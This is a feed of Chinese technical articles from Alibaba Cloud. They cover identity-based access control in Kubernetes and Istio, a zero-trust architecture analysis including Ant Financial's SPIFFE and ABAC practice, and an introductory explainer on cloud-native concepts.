        Identity 与 Kubernetes 集群

        首先,我们来看 Identity 是如何依据用户/用户组提供所需 Kubernetes 集群资源的。Kubernetes 集群是用于容器生命周期管理的。细分一下,其用户大致可以分为如下两类:

        • Kubernetes 集群的管理者:关注集群本身,主要的职责包括并不限于:

          • Kuberentes 组件的维护及升级
          • Kuberentes 集群中 Node 的治理
          • Kuberentes 集群中 Namespace 的治理
          • Kuberentes 集群中各类 policy(例如,Role-Based Access Control(RBAC) for AuthZ)的治理
          • Kuberentes 集群中 Pod 调度管理
          • Kuberentes 集群中 C[X]I(例如,CRI,CNI,CSI 等)的治理
          • Kuberentes 集群资源容量管理
          • 。。。
        • Kubernetes 集群的使用者:关注如何在集群之上运行容器,依据角色(例如,开发/测试/运维)的不同,主要的使用方式有:

          • Kuberentes 集群中 Service Account 的治理
          • 将 Kubernetes 集群作为开发环境
          • 将 Kubernetes 集群作为线下测试环境,运行 CI/CD
          • 将 Kubernetes 集群作为线上发布环境,进行灰度,回滚等操作

        对于第一类 Kubernetes 集群用户,可以通过 Kubernetes RBAC 机制下 ClusterRoleBinding 赋予集群级别权限;并且需要“垄断”集群和 Namespace 级别策略的制定;为了防止敏感信息泄露,还需要将集群和 Namespace 级别的信息以及敏感信息(例如 Secret)设置为仅为 Kubernetes 集群管理者可见。

        对于第二类 Kubernetes 集群用户,可以进一步按照对应的微服务中软件模块来进行细分成不同的组(Group)。另一方面,Kubernetes Namespace 提供了虚拟集群的抽象。因此,当 Kubernetes API Server 认证用户身份之后,可以按照组的粒度将用户映射到 Kubernetes 集群某个 Namespace 的角色(Role)而这个角色在此 Namespace 中拥有相应权限。具体来说,用户到 Namespace 的映射可以通过 Kubernetes RBAC 机制下 RoleBinding 完成。考虑到系统策略的可维护性,以组 Identity 的粒度制定策略而以用户 Identity 用于审计(Audit)是合理的。

        Kubernetes 中并没有代表用户的资源,并且企业一般都会拥有多个 Kubernetes 集群。因此,提供组织架构信息(例如,用户(User),组(Group))的 Identity Provider(IdP)应该独立于 Kubernetes 集群之外并可以服务多个 Kubernetes 集群。如果对多个 Kubernetes 集群采用相同的配置,用户可以收获跨集群的一致性用户体验。

        1.png

        图 1:Identity Provider 与 Kubernetes 集群

        在 IdP 中的组织架构,一个组可以包含用户,也可以包含其他组;与此同时,一个用户也可以直接棣属于多个组。因此可以根据用户操作(用户执行的 yaml 文件中指定了具体的 Namespace)来更加灵活映射到不同的角色来操作相应的 Kubernetes Namespace:

        • 例子一:一个用户按架构域划分属于 A 组,按角色划分属于 dev 组。当要运行容器时,Kubernetes 集群的 RBAC 策略会允许他在 Namespace A-dev 中操作。
        • 例子二:一个用户按架构域划分既属于 A 组也属于 B 组,按角色划分属于 test 组。当要运行容器时,Kubernetes 集群的 RBAC 策略会允许他在 Namespace A-test 和 Namespace B-test 中操作。

        2.png

        图 2:企业组织架构与 Kubernetes 集群


        值得注意的是,IdP 中的组织架构代表 Kubernetes 管理者和使用者的组还是要严格分开以防止权限泄露。此外,当有任何组织架构变动时(例如,用户从 Kubernetes 管理者变成使用者),Kubernetes 集群需要能够及时捕捉。

        Identity 与 Service Mesh

        其次,我们来看 Identity 是如何依据用户/用户组和相应的配置创造出不同的软件运行环境的。当用户通过 Kubernetes 开始运行容器后,容器所代表的微服务就交由 Service Mesh 来治理。如图 3 所示,在 Istio 1.1+,在启动 Pod 的时候,Pod Identity 会通过 SDS(Secret Discovery Service)获取。
        3.png



        图 3:Pod Identity 获取流程

        Pod 的 Identity 的格式会采取源自谷歌 LOAS(Low-Overhead Authentication Service)的 SPIFFE(Secure Production Identity Framework for Everyone)标准,spiffe:///ns//sa/以全局唯一标识相应的 Workload;并且 Identity 相应的证书也会由 CA(Certificate Authority)来签发。有了证书背书,当 Pod 可以与其它 Pod 通信时,就可以通过 mTLS 完成对通信链路加密。

        更为重要的是,Service Mesh 可以通过 Istio RBAC 实现基于 Identity 的 RPC(Remote Procedure Call)ACL(Access Control List)。因此,当由有不同角色(例如,开发/测试/运维)的用户来运行/部署同一个微服务时,因为所在组不同而获取不同的 SPIFFE ID,即使在同一个 Kubernetes 集群中,只要设置合适的 Istio RBAC Policy,他们能运行的微服务也处于彼此隔离的环境中。

        4.png

        图 4:Istio 下基于 Identity 隔离的环境


        此外,一个组通常会拥有微服务的多组软件模块。当映射到 Kubernetes Namespace 时,对不同组的软件模块最好采用不同的 Service Account。这是因为,Pod 的 SPIFFE ID 的信任来自于 Kubernetes Service Account;一旦Service Account 被 compromise,它所造成的损失有限。

        5.png

        图 5:Service Account 的隔离

        Workload Identity 的实践

        阿里巴巴正在全面推行 Service Mesh 的架构演进,这为我们在此场景下快速落地 Workload 的 Identity 及访问控制提供了很好的基础。

        6.png


        图 6:Service Mesh 架构下应用间访问控制


        应用的身份以及认证统一由安全 Sidecar 统一提供,授权模型我们采用了 RBAC 模型,在 Sidecar 中集成了 RBAC Filter。RBAC 模型在大部分场景下都能满足需求,但在项目推进过程中我们发现一种比较特殊的场景,比如 A 应用需要被所有的应用访问,会导致策略无法描述。因此在这种场景下,我们考虑升级为 ABAC(Attribute-Based Access Control)模型,采用 DSL(Domain Specific Language)语言来描述,并集成在安全 Sidecar 中。

        Identity 与软件交付

        此外,Identity 不仅仅体现在软件研发、测试及运维,它还覆盖其他的方面。

        镜像管理

        在云原生范式下,代码终将以镜像的形式来使用。在关注构成镜像本身代码的安全性同时,我们还关心镜像的来源(即相应代码库 URL),制作者(组)和标签。在线上生产环境(其它环境可以放松这个限制)以容器运行镜像时,我们需要确保镜像是来自已知代码库,由合法的用户(来自拥有代码所有权的组)制作并有合适的标签(例如,release)。因此,我们需要在镜像的 metadata 中植入相关的 Identity 信息以便应用相关的策略。

        微服务部署

        在云原生时代,微服务部署所需的 yaml 配置往往是庞大繁琐的。如前所述,Identity 结合 Kubernetes/Istio RBAC Policies 可以创建出不同的隔离环境以便于开发,测试和运维,但是也需要有相应的 yaml 配置来适配。然而,yaml仅仅只是对一组可嵌套的描述,自身没有任何复用,重载的计算机编程语言的特性。因此,我们需要使用云原生场景下的 DSL 来方便的刻画同一个微服务不同(例如,研发/测试/生产)环境下的配置。举例来说,针对不同的环境,主要区别在于:1)Kubernetes Namespace 不同;2)所需的计算资源不同。所以,DSL 可以将各个环境相同的配置沉淀下来形成模版,在此基础之上,对与环境相关的配置进行定制或重载以适配不同环境。

        7.png


        图 7:DSL 下的微服务配置

        通常来讲,相对于微服务代码变更,微服务配置变更属于低频操作。DSL 将微服务配置接管过来使得配置也像代码一样可重用、可验证,大大降低因为配置及其变更带来的错误。因此,所有的开发者可以对代码进行更高速的迭代从而把代码缺陷暴露在更早的阶段。

        Identity 与企业应用访问

        阿里巴巴已经内部已部分地落地了基于零信任的企业应用访问的架构,从以前简单以员工的身份作为唯一且静态的授权依据,扩展为员工身份、设备、以持续的安全评估达到动态安全访问控制的新架构。

        8.png


        图 8:企业应用的访问控制

        在这种新的架构下,首先,我们选择安全网关作为控制点,与阿里巴巴 IAM(Identity Access Management)结合,对员工的身份以及接入的设备进行认证,知道是否从对应的人和其对应的设备请求接入;协议方面,员工设备与安全网关之前,采用 HTTPS 对各种协议进行封装,统一由安全网关进行代理访问后端的应用;其次,安全网关内置的 Access Control Engine 结合流量中的上下文(Context)对访问的请求做持续的建模,对来自非可信、非认证设备、或者异常的访问行为做实时的阻断。

        结语

        随着互联网应用由单体向微服务架构转型,加之访问互联网应用的移动设备的繁荣,网络标识(例如,IP,Port等)已经不能作为稳定的 Identity 来标识分布式系统中的实体,建立在此之上的边界安全模型应对各种场景已经显得力不从心。因此,对于不同实体(例如,人,设备,服务等),Identity 需要由更能凸显其本质的、有密码学背书的稳定凭证(credential)来担当。相应的,建立在此类 Identity 基础之上安全策略有着丰富的语义来适配不同的场景:在研发、测试和运维微服务场景下,Identity 及其相关策略不仅是安全的基础,更是众多(资源,服务,环境)隔离机制的基础;在员工访问企业内部应用的场景下,Identity 及其相关策略提供了灵活的机制来提供随时随地的接入服务。无论那种场景下,Identity 对分布式系统中不同实体划分了有效的安全边界,并提供隔离机制来提高资源效能和用户体验。

        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

        阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        Kubernetes 下零信任安全架构分析 Fri, 02 May 2025 09:39:04 +0800 作者:
        杨宁,花名麟童,阿里云基础产品事业部高级安全专家
        刘梓溪,花名寞白,蚂蚁金服大安全基础安全安全专家
        李婷婷,花名鸿杉,蚂蚁金服大安全基础安全资深安全专家

        简介

        零信任安全最早由著名研究机构 Forrester 的首席分析师约翰.金德维格在 2010 年提出。零信任安全针对传统边界安全架构思想进行了重新评估和审视,并对安全架构思路给出了新的建议。
        其核心思想是,默认情况下不应该信任网络内部和外部的任何人/设备/系统,需要基于认证和授权重构访问控制的信任基础。诸如 IP 地址、主机、地理位置、所处网络等均不能作为可信的凭证。零信任对访问控制进行了范式上的颠覆,引导安全体系架构从“网络中心化”走向“身份中心化”,其本质诉求是以身份为中心进行访问控制。
        目前落地零信任概念包括 Google BeyondCorp、Google ALTS、Azure Zero Trust Framework 等,云上零信任体系,目前还是一个新兴的技术趋势方向,同样的零信任模型也同样适用于 Kubernetes,本文重点讲解一下 Kubernetes 下零信任安全架构的技术分析。

        传统零信任概念和目前落地情况

        Microsoft Azure

        Azure 的零信任相对来说还是比较完善的,从体系角度来看涵盖了端、云、On-Permises、SaaS 等应用,下面我们分析一下相关的组件:

        • 用户 Identity:然后通过 Identity Provider(创建、维护和管理用户身份的组件)的认证,再认证的过程中可以使用账号密码,也可以使用 MFA(Multi Factor Auth)多因素认证的方式,多因素认证包括软、硬 Token、SMS、人体特征等;
        • 设备 Identity:设备包含了公司的设备以及没有统一管理的设备,这些设备的信息,包含 IP 地址、MAC 地址、安装的软件、操作系统版本、补丁状态等存储到 Device Inventory;另外设备也会有相应的 Identity 来证明设备的身份;设备会有对应的设备状态、设备的风险进行判定;
        • Security Policy Enforcement:通过收集的用户 Identity 以及状态、设备的信息,状态以及 Identity 后,SPE 策略进行综合的判定,同时可以结合 Threat Intelligence 来增强 SPE 的策略判定的范围和准备性;策略的例子包括可以访问后面的 Data、Apps、Infrastructure、Network;
        • Data:针对数据(Emails、Documents)进行分类、标签、加密的策略;
        • Apps:可以自适应访问对应的 SaaS 应用和 On-Permises 应用;
        • Infrastructure:包括 IaaS、PaaS、Container、Serverless 以及 JIT(按需开启访问)和 GIT 版本控制软件;
        • Network:针对网络交付过程以及内部的微隔离进行策略打通。

        1.png

        下面这张微软的图进行了更加细化的讲解,用户(员工、合作伙伴、用户等)包括 Azure AD、ADFS、MSA、Google ID 等,设备(可信的合规设备)包括 Android、iOS、MacOS、Windows、Windows Defender ATP,客户端(客户端 APP 以及认证方式)包括浏览器以及客户端应用,位置(物理和虚拟地址)包括地址位置信息、公司网络等,利用 Microsoft 的机器学习 ML、实时评估引擎、策略等进行针对用户、客户端、位置和设备进行综合判定,来持续自适应的访问 On-Permises、Cloud SaaS Apps、Microsoft Cloud,包含的策略包括 Allow、Deny,限制访问、开启 MFA、强制密码重置、阻止和锁定非法认证等;从下图可以看出 Azure 已经打通了 On-Permises、Cloud、SaaS 等各个层面,构建了一个大而全的零信任体系。

        2.png

        Google BeyondCorp

        Google BeyondCorp 是为了应对新型网络威胁的一种网络安全解决方案,其实 Google BeyondCorp 本身并没有太多的技术上的更新换代,而是利用了持续验证的一种思路来做的,去掉了 VPN 和不再分内外网。Google 在 2014 年之前就预测到互联网和内网的安全性是一样危险的,因为一旦内网边界被突破的话,攻击者就很容易的访问企业的一些内部应用,由于安全意识的问题导致企业会认为我的内部很安全,就对内部的应用进行低优先级别的处理,导致大量内部的安全问题存在。现在的企业越来越多的应用移动和云技术,导致边界保护越来越难。所以 Google 干脆一视同仁,不分内外部,用一样的安全手段去防御。

        从攻防角度来看一下 Google 的 BeyondCorp 模型,例如访问 Google 内部应用http://blackberry.corp.google.com ,它会跳转到https://login.corp.google.com/ 也就是 Google Moma 系统,首先需要输入账号密码才能登陆,这个登录的过程中会针对设备信息、用户信息进行综合判定,账号密码正确以及设备信息通过规则引擎验证之后,会继续跳转到需要 YubiKey 登录界面,每个 Google 的员工都会有 Yubikey,通过 Yubikey 来做二次验证。Yubikey 的价值,Google 认为是可以完全杜绝钓鱼攻击的。另外类似的就是 Amazon 的 Midway-Auth 方式 ( https://midway-auth.amazon.com/login?next=%2F )。
        3.png

        Kubernetes 下容器零信任模型

        容器下网络零信任

        首先介绍一下容器下的网络零信任组件 Calico,Calico 是针对容器,虚拟机和基于主机的本机 Workload 的开源网络和网络安全解决方案产品。Calico 支持广泛的平台,包括 Kubernetes、OpenShift、Docker EE、OpenStack 和裸金属服务。零信任最大的价值就是即使攻击者通过其他各种手法破坏应用程序或基础架构,零信任网络也具有弹性。零信任架构使得使攻击者难以横向移动,针对性的踩点活动也更容易发现。

        在容器网络零信任体系下,Calico+Istio 目前是比较热的一套解决方案;先来看看两者的一些差别,从差别上可以看到 Istio 是针对 Pod 层 Workload 的访问控制,以及 Calico 针对 Node 层的访问控制:

        Istio Calico
        Layer L3-L7 L3-L4
        实现方式 用户态 内核态
        策略执行点 Pod Node

        下面重点讲解一下 Calico 组件和 Istio 的一些技术细节,Calico 构建了一个 3 层可路由网络,通过 Calico 的 Felix(是运行在 Node 的守护程序,它在每个 Node 资源上运行。Felix 负责编制路由和 ACL 规则以及在该 Node 主机上所需的任何其他内容,以便为该主机上的资源正常运行提供所需的网络连接)运行在每个 Node 上,主要做路由和 ACL 的策略以及搭建网络;通过运行在 Node 上的 Iptables 进行细粒度的访问控制。可以通过 Calico 设置默认 Deny 的策略,然后通过自适应的访问控制来进行最小化的访问控制策略的执行,从而构建容器下的零信任体系;Dikastes/Envoy:可选的 Kubernetes sidecars,可以通过相互 TLS 身份验证保护 Workload 到 Workload 的通信,并增加相关的控制策略;

        4.png

        Istio

        再讲解 Istio 之前先讲一下微服务的一些安全需求和风险分析:
        1、微服务被突破之后通过 Sniffer 监控流量,进而进行中间人攻击,为了解决这种风险需要对流量进行加密;
        2、为了针对微服务和微服务之间的访问控制,需要双向 TLS 和细粒度的访问策略;
        3、要审核谁在什么时候做了什么,需要审计工具;

        分析了对应的风险之后,下面来解释一下 Istio 如何实现的零信任架构。首先很明显的一个特点就是全链路都是双向 mTLS 进行加密的,第二个特点就是微服务和微服务之间的访问也可以进行鉴权,通过权限访问之后还需要进行审计。Istio 是数据面和控制面进行分离的,控制面是通过 Pilot 将授权策略和安全命名信息分发给 Envoy,然后数据面通过 Envoy 来进行微服务的通信。在每个微服务的 Workload 上都会部署 Envoy,每个 Envoy 代理都运行一个授权引擎,该引擎在运行时授权请求。当请求到达代理时,授权引擎根据当前授权策略评估请求上下文,并返回授权结果 ALLOW 或 DENY。
        5.png

        微服务下的 Zero Trust API 安全

        42Crunch( https://42crunch.com/ )将 API 安全从企业边缘扩展到了每个单独的微服务,并通过可大规模部署的超低延迟微 API 防火墙来进行保护。 42Crunch API 防火墙的部署模式是以 Kubernetes Pod 中以 Sidecar 代理模式部署,毫秒级别的性能响应。 这省去了编写和维护单个 API 安全策略过程,并实施了零信任安全体系结构,提升了微服务下的 API 安全性。42Crunch 的 API 安全能力包括:审核:运行 200 多个 OpenAPI 规范定义的安全审核测试,并进行详细的安全评分,以帮助开发人员定义和加强 API 安全;扫描:扫描实时 API 端点,以发现潜在的漏洞;保护:保护 API 并在应用上部署轻量级,低延迟 Micro API Firewall。

        蚂蚁零信任架构体系落地最佳实践

        随着 Service Mesh 架构的演进,蚂蚁已经开始在内部落地 Workload 场景下的服务鉴权能力,如何建设一套符合蚂蚁架构的 Workload 间的服务鉴权能力,我们将问题分为一下三个子问题:
        1、Workload 的身份如何定义,如何能够实现一套通用的身份标识的体系;
        2、Workload 间访问的授权模型的实现;
        3、访问控制执行点如何选择。

        Workload 身份定义 & 认证方式

        蚂蚁内部使用 SPIFFE 项目中给出的 Identity 格式来描述 Workload 的身份,即:

        spiffe://<domain>/cluster/<cluster>/ns/<namespace>

        不过在工程落地过程中发现,这种维度的身份格式粒度不够细,并且与 K8s 对于 namespace 的划分规则有较强的耦合。蚂蚁的体量较大,场景较多,不同场景下 namespace 的划分规则都不完全一致。因此我们对格式进行了调整,在每一场景下梳理出能够标识一个 Workload 示例所须要的一组必备属性(例如应用名,环境信息等),并将这些属性携带在 Pod 的 Labels 中。调整后的格式如下:

        spiffe://<domain>/cluster/<cluster>/<required_attr_1_name>/<required_attr_1_value>/<required_attr_2_name>/<required_attr_2_value>

        配合这个身份格式标准,我们在 K8s API Server 中添加了 Validating Webhook 组件,对上述 Labels 中必须携带的属性信息进行校验。如果缺少其中一项属性信息,则实例 Pod 将无法创建。如下图所示:
        6.png

        在解决了 Workload 身份定义的问题后,剩下的就是如何将身份转换成某种可校验的格式,在 Workload 之间的服务调用链路中透传。为了支持不同的使用场景,我们选择了 X.509 证书与 JWT 这两种格式。
        对于 Service Mesh 架构的场景,我们将身份信息存放在 X.509 证书的 Subject 字段中,以此来携带 Workload 的身份信息。如下图所示:
        7.png

        对于其他场景,我们将身份信息存放在 JWT 的 Claims 中,而 JWT 的颁发与校验,采用了 Secure Sidecar 提供服务。如下图所示:
        8.png

        授权模型

        在项目落地的初期,使用 RBAC 模型来描述 Workload 间服务调用的授权策略。举例描述,应用 A 的某一个服务,只能被应用 B 调用。这种授权策略在大多数场景下都没有问题,不过在项目推进过程中,我们发现这种授权策略不适用于部分特殊场景。
        我们考虑这样一个场景,生产网内部有一个应用 A,职责是对生产网内部的所有应用在运行时所需要使用的一些动态配置提供中心化的服务。这个服务的定义如下:
        A 应用 - 获取动态配置的 RPC 服务:
        message FetchResourceRequest {<br />// The appname of invoker<br />string appname = 1;<br />// The ID of resource<br />string resource_id = 2;<br />}<br />message FetchResourceResponse {<br />string data = 1;<br />}<br />service DynamicResourceService {<br />rpc FetchResource (FetchResourceRequest) returns (FetchResourceResponse) {}<br />}<br />

        在此场景下,如果依然使用 RBAC 模型,应用 A 的访问控制策略将无法描述,因为所有应用都需要访问 A 应用的服务。但是这样会导致显而易见的安全问题,调用方应用 B 可以通过该服务获取到其它应用的资源。因此我们将 RBAC 模型升级为 ABAC 模型来解决上述问题。 我们采用 DSL 语言来描述 ABAC 的逻辑,并且集成在 Secure Sidecar 中。

        访问控制执行点的选择

        在执行点选择方面,考虑到 Service Mesh 架构推进需要一定的时间,我们提供了两不同的方式,可以兼容 Service Mesh 的架构,也可以兼容当前场景。

        在 Service Mesh 架构场景下,RBAC Filter 和 ABAC Filter(Access Control Filter)集成在 Mesh Sidecar 中。
        9.png

        在当前场景下,我们目前提供了 JAVA SDK,应用需要集成 SDK 来完成所有认证和授权相关的逻辑。与 Service Mesh 架构场景类似,所有 Identity 的颁发、校验,授权与 Secure Sidecar 交互,由 Secure Sidecar 完成。

        10.png

        结语

        零信任的核心是“Never Trust, Always Verify”,未来会继续深化零信任在整个阿里巴巴的实践,赋予不同的角色不同的身份,例如企业员工、应用、机器,并将访问控制点下沉到云原生基础设施的各个点,实现全局细粒度的控制,打造安全防护的新边界。本文从业界的零信任体系的落地最佳实践,到基于 Kubernetes 的零信任落地方式进行了简单的描述,本文只是抛砖引玉,希望能引发更多关于 Cloud Native 下的零信任架构体系的更多讨论和能看到更多的业界优秀的方案和产品能出现。

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        人人都在谈论的云原生到底是什么?——3分钟,让你快速了解云原生! Fri, 02 May 2025 09:39:04 +0800 原文链接
          随着虚拟化技术的成熟和分布式架构的普及,用来部署、管理和运行应用的云平台被越来越多的提及。IaaS、PaaS和SaaS是云计算的3种基本服务类型,它们是关注硬件基础设施的基础设施即服务、关注软件和中间件平台的平台即服务以及关注业务应用的软件即服务。
          在容器技术、可持续交付、编排系统等开源社区的推动下,以及微服务等开发理念的带动下,应用上云已经是不可逆转的趋势。随着云化技术的不断进展,云原生的概念也应运而生。

        image.png


        云原生概念的诞生

          云原生(Cloud Native)的概念,由来自Pivotal的MattStine于2013年首次提出,被一直延续使用至今。这个概念是Matt Stine根据其多年的架构和咨询经验总结出来的一个思想集合,并得到了社区的不断完善,内容非常多,包括DevOps、持续交付(Continuous Delivery)、微服务(MicroServices)、敏捷基础设施(Agile Infrastructure)和12要素(The Twelve-Factor App)等几大主题,不但包括根据业务能力对公司进行文化、组织架构的重组与建设,也包括方法论与原则,还有具体的操作工具。采用基于云原生的技术和管理方法,可以更好地把业务生于“云”或迁移到云平台,从而享受“云”的高效和持续的服务能力。
        image.png

        The Twelve-Factor App

          顾名思义,云原生是面向“云”而设计的应用,因此技术部分依赖于传统云计算的3层概念,基础设施即服务(IaaS)、平台即服务(PaaS)和软件即服务(SaaS),例如,敏捷的不可变基础设施交付类似于IaaS,用来提供计算网络存储等基础资源,这些资源是可编程且不可变的,直接通过API可以对外提供服务;有些应用通过PaaS服务本来就能组合成不同的业务能力,不一定需要从头开始建设;还有一些软件只需要“云”的资源就能直接运行起来为云用户提供服务,即SaaS能力,用户直接面对的就是原生的应用。

        云原生并不是一个产品

          最近讨论云原生应用越来越多。关于云原生应用,简单地说,就是大多数传统的应用,不做任何改动,都是可以在云平台运行起来,只要云平台支持这个传统应用所运行的计算机架构和操作系统。只不过这种运行模式,仅仅是把虚拟机当物理机一样使用,不能够真正利用起来云平台的能力。
          云并非把原先在物理服务器上跑的东西放到虚拟机里跑,真正的云化不仅是基础设施和平台的事情,应用也要做出改变,改变传统的做法,实现云化的应用——应用的架构、应用的开发方式、应用部署和维护技术都要做出改变,真正的发挥云的弹性、动态调度、自动伸缩……一些传统IT所不具备的能力。这里说的“云化的应用”也就是“云原生应用”。云原生架构和云原生应用所涉及的技术很多,如容器技术、微服务、可持续交付、DevOps等。
        image.png
          而云原生应用最大的特点就是可以迅速部署新业务。在企业里,提供新的应用程序环境及部署软件新版本通常所需时间以日、周甚至以月计算。这种速度严重限制了软件发布所能承受的风险,因为犯错及改错也需要花费同样的时间成本,竞争优势就会由此产生。
          所以云原生不是一个产品,而是一套技术体系和一套方法论,而数字化转型是思想先行,从内到外的整体变革。更确切地说,它是一种文化,更是一种潮流,是云计算的一个必然导向。意义在于让云成为云化战略成功的基石,而不是障碍。它可以根据商业能力对公司进行重组的能力,既包含技术、也包含管理,可以说是一系列云技术和企业管理方法的集合,通过实践及与其他工具相结合更好地帮助用户实现数字化转型。

        云原生计算基金会(CNCF)

          CNCF,即云原生计算基金会,2015年由谷歌牵头成立,基金会成员目前已有一百多企业与机构,包括亚马逊、微软、思科等巨头。
          目前CNCF所托管的应用已达14个,下图为其公布的Cloud Native Landscape,给出了云原生生态的参考体系。
        image.png

        Cloud Native Landscape新版


        CNCF(云原生计算基金会)认为云原生系统需包含的属性:

        容器化封装: 以容器为基础,提高整体开发水平,形成代码和组件重用,简化云原生应用程序的维护。在容器中运行应用程序和进程,并作为应用程序部署的独立单元,实现高水平资源隔离。
        自动化管理:统一调度和管理中心,从根本上提高系统和资源利用率,同时降低运维成本。
        面向微服务:通过松耦合方式,提升应用程序的整体敏捷性和可维护性。
          正因为如此,你可以专注于创新,解决业务问题,而不是把时间花在“静态、不灵活的传统架构”存在的许多技术问题。

        云原生的四要素:持续交付、DevOps、微服务、容器

          从云原生的概念中,我们总是能看到持续交付、DevOps、微服务、容器等技术的出现,那么它们到底是什么,这里引用Pivotal台湾云计算资深架构师的部分观点,为大家逐一揭开他们的神秘面纱!

        image.png

        持续交付——缩小开发者认知,灵活开发方向

          首先是持续交付,什么样的时候客户要求持续交付?敏捷开发要求持续交付,因为敏捷开发要求随时有一个版本可以上到大群环境,所以要持续交付
          而换句话说,持续交付就是不误时开发。举一个例子,有些公司非常喜欢谈需求,谈很久,可是开发只剩1/3时间就开发完成,然后交付,再上线运营。这就会碰到一个问题,就是你开始谈需求到最后交付产品的时间,短则三月,长则半年,这中间市场已经变化了,需求也随之变化了。因此市场上出现了新的想法,即是不是能够小步快跑,把交付的周期缩短一点,我可以实现快速交付,每次交付都可以重新确认方向,这样尽量避免与未来期待的落差。
        image.png

        用小步快跑的方式,打破瀑布式开发流程

          那么问题来了,持续交付对于开发的人谈的需求、开发的方式有改变,那它对于开发有影响吗?如果说公司的开发团队一天可以交付五次,那研发团队要帮忙部署一次吗?现在公司大部分部署都是研发团队帮忙部署应用的,研发团队部署五次,要改版五次就需要部署一次,这是无法实现的。而且每次部署的时候都要面对停机,而实际公司的应用经不起一天停机五次部署,在互联网的思维之下,零宕机时间已经是现在企业的基本要求。于是“蓝绿部署”的概念营运而生。即在一个环境里面,第一版还在线上服务,第二版先做封测,封测完成后,让外面的流量进来一些,看log是不是开发人员要的,确认后再把全部的流量导到新的版本上。
        image.png

        图:蓝绿(Blue-Green) 部署

          但“蓝绿部署”在系统过多过复杂的情况下,在传统架构上实现非常困难,所以企业要做到zero down time的持续交付就需要有良好的平台與工具协助。因此,持续交付的优势在于,它可以缩小开发者认知,重新确认开发方向。

        微服务——内聚更强,更加敏捷

          第二部分是微服务。微服务是什么?有客户表示,提供商出产品,客户把应用全部放上去,结果就是一个微服务。这种认知是错误的,因为微服务是一个架构的改变。那么微服务是怎么做的呢?它所面临的最大挑战是什么?
          是切割。那么如何切割呢?其实这件事情早在1968年康威就提出了——康威定律,系统的服务划分应该是根据组织架构的功能来划分。1968年康威就提出了这个想法,我认为拿来做微服务的切割非常适用。
        image.png

        Going Agile - Breaking the monolith
        Conway's Law and Microservices

          这样按照组织架构划分的优势在于:

          1.内聚更强,所有遵循同一种业务准则的人内聚在一起,就容易解决问题。
          2.服务解耦,变更容易,更加敏捷。当做到解耦合的时候,要变更就容易。所以微服务应该是切分成这个样子,由上而下来切,根据Function来切。
          另外一个划分微服务的技巧,可以运用领域驱动设计(Domain Driven Design)的理论,而领域驱动设计亦可算是面向物件的一种设计思维;聚合可以让微服务划分更有依据,也让未來的系統变更具有弹性。值得一提的是领域驱动设计,也提供微服务中的事物问题。因为过去巨石应用进行两个报数的阶段,相当容易也常见,但在微服务架构中,如何在分散的服务中进行事物就显得相当困难。利用领域驱动设计的Event Souring进行设计,是目前最好的解決办法。

          那么在什么情况下需要微服务?我认为有三个标准:

          1.有HA(High Available)的需求需要微服务。
          2.有性能调校的需求(例如:图片的呈现或者搜寻)需要微服务。
          3.经常变更的需要微服务。
          实际上,微服务需要关注的源代码范围比较小,使得各个服务解耦、变更容易,内聚更强,因为都会集中在服务里。另外,它更容易单独改版,因为微服务之间是用RESTful间接起来的,用RESTful只要API的界面不改,原则上则不会错,也更敏捷。
          但微服务也会留下一些问题,例如App团队如何分工?环境怎么配合?如何实现自动化部署?

        容器技术——使资源调度、微服务更容易

          再来看看容器。在机器上运行的容器只是主机操作系统上的一个进程,与任何其他进程无异。那么,为什么容器如此受欢迎呢?原因在于这个进程被隔离和限制的方式。这种方式很特殊,可简化开发和运维。
          其实1979年就有容器技术,很多人会以为说Docker是不是等于容器,其实Docker不等于容器。容器的历史可追溯到Linux操作系统。容器利用了Linux的内核功能。Linux中容器的核心概念(cgroup、namespaces和filesystems)在独立的区域运行。容器的神奇之处在于将这些技术融为一体,以实现最大的便利性。
          VMware之前的技术专家在2011年发展出一个技术,把这个技术贡献出来成立了一个Cloud Foundry基金会。Docker在2013年才开始有,而且它第一版是用SLC的技术去做的。后来陆续一路成长,使得为服务的实现更容易了。
        image.png

        从 Infra 角度来看技术演进

          从上面这个表中可以看出,从左边开始,IaaS,虚拟化技术有了之后,刚刚提到的所谓第三代平台,这四个区块开发人员交付的内容不一样。所有的IaaS、CaaS、PaaS、FaaS一路的变化演进,对于客户的负担越到后面越小,而对于开发人员的想象力则愈发抽象。
          大家一定会遇到下列这些计算,一个是所谓的单体应用,或者翻译成巨石应用。此外,你们一定会有一些批次的管理,另外就是所谓的数据库的部分,开始可能会有容器技术,像K8S、Dock。
          Docker是软件行业最受欢迎的软件容器项目之一。思科、谷歌和IBM等公司在其基础设施和产品中使用Docker容器。
          Kubernetes是软件容器领域的另一个值得关注的项目。Kubernetes是一个允许自动化部署、管理和伸缩容器的工具。为了便于管理其容器,谷歌建立了Kubernetes。它提供了一些强大的功能,例如容器之间的负载均衡,重启失败的容器以及编排容器使用的存储。
        image.png

        容器生态图 /作者:Jimmy Song

          容器为云原生应用程序增加了更多优势。使用容器,你可以将微服务及其所需的所有配置、依赖关系和环境变量移动到全新的服务器节点上,而无需重新配置环境,这样就实现了强大的可移植性。

        DevOps——以终为始,运维合一

          最后让我们走向DevOps,它不是一种工具,DevOps其实要谈的是运维合一。
          DevOps如果从字面上来理解只是Dev(开发人员)+Ops(运维人员),实际上,它是一组过程、方法与系统的统称,其概念从2009年首次提出发展到现在,内容也非常丰富,有理论也有实践,包括组织文化、自动化、精益、反馈和分享等不同方面。
          首先,组织架构、企业文化与理念等,需要自上而下设计,用于促进开发部门、运维部门和质量保障部门之间的沟通、协作与整合,简单而言组织形式类似于系统分层设计。
          其次,自动化是指所有的操作都不需要人工参与,全部依赖系统自动完成,比如上述的持续交付过程必须自动化才有可能完成快速迭代。再次,DevOps的出现是由于软件行业日益清晰地认识到,为了按时交付软件产品和服务,开发部门和运维部门必须紧密合作。
